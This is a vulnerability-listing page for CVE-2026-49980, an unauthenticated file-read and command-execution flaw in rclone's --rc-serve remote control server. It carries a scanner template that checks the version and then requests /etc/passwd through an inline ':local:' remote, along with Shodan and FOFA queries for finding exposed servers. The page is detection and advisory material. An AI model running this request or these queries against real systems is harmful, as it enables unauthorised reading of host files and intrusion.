CVE-2026-49980: Rclone 1.46.0 - 1.74.2 - Unauthenticated Arbitrary File Read via --rc-serve

2026-11-29 PoC Public

Description

Rclone 1.46.0 through 1.74.2 accepts unauthenticated GET and HEAD requests of the form /[remote:path]/object when the remote control server runs with --rc-serve and without HTTP authentication. The remote value is taken from the URL and passed to normal backend initialization, so an inline remote such as :local: reads any file on the host, and from 1.55.0 on backend options that run local commands lead to command execution.

Details

CVE
CVE-2026-49980 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-49980

info:
  name: Rclone 1.46.0 - 1.74.2 - Unauthenticated Arbitrary File Read via --rc-serve
  author: s4e-io
  severity: critical
  description: |
    Rclone 1.46.0 through 1.74.2 accepts unauthenticated GET and HEAD requests of the form /[remote:path]/object when the remote control server runs with --rc-serve and without HTTP authentication. The remote value is taken from the URL and passed to normal backend initialization, so an inline remote such as :local: reads any file on the host, and from 1.55.0 on backend options that run local commands lead to command execution.
  impact: |
    Unauthenticated attackers can read arbitrary files in versions 1.46.0 through 1.74.2; versions 1.55.0 through 1.74.2 also permit command execution as the rclone process user.
  remediation: |
    Upgrade to rclone 1.74.3 or later, configure RC HTTP authentication, and disable --rc-serve when it is not needed; avoid --rc-no-auth on exposed listeners.
  reference:
    - https://github.com/rclone/rclone/security/advisories/GHSA-qw24-gh76-8rvv
    - https://github.com/rclone/rclone/commit/2326ea79f7dd93de1f7ba15f02353d40995f06a8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49980
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-49980
    epss-score: 0.02776
    epss-percentile: 0.87108
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: rclone
    product: rclone
    shodan-query: 'http.title:"List of all rclone remotes."'
    fofa-query: 'title="List of all rclone remotes."'
  tags: cve,cve2026,rclone,unauth,lfi,rce,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /core/version HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"decomposed\"", "\"goVersion\"")'
          - 'compare_versions(trim_prefix(version, "v"), ">= 1.46.0", "< 1.74.3")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: version
        part: body
        internal: true
        json:
          - '.version'

  - method: GET
    path:
      - "{{BaseURL}}/%5B:local:/etc%5D/passwd"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
        condition: and
# digest: 4a0a0047304502200e80e283ad2eb43536be7c90fb303e676629f1e029b46e6ae3fad60953c261e902210090851cb8f66dcf3719e9b046e0bc6f4fcf909dd595e8c022005ec176ecace43d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life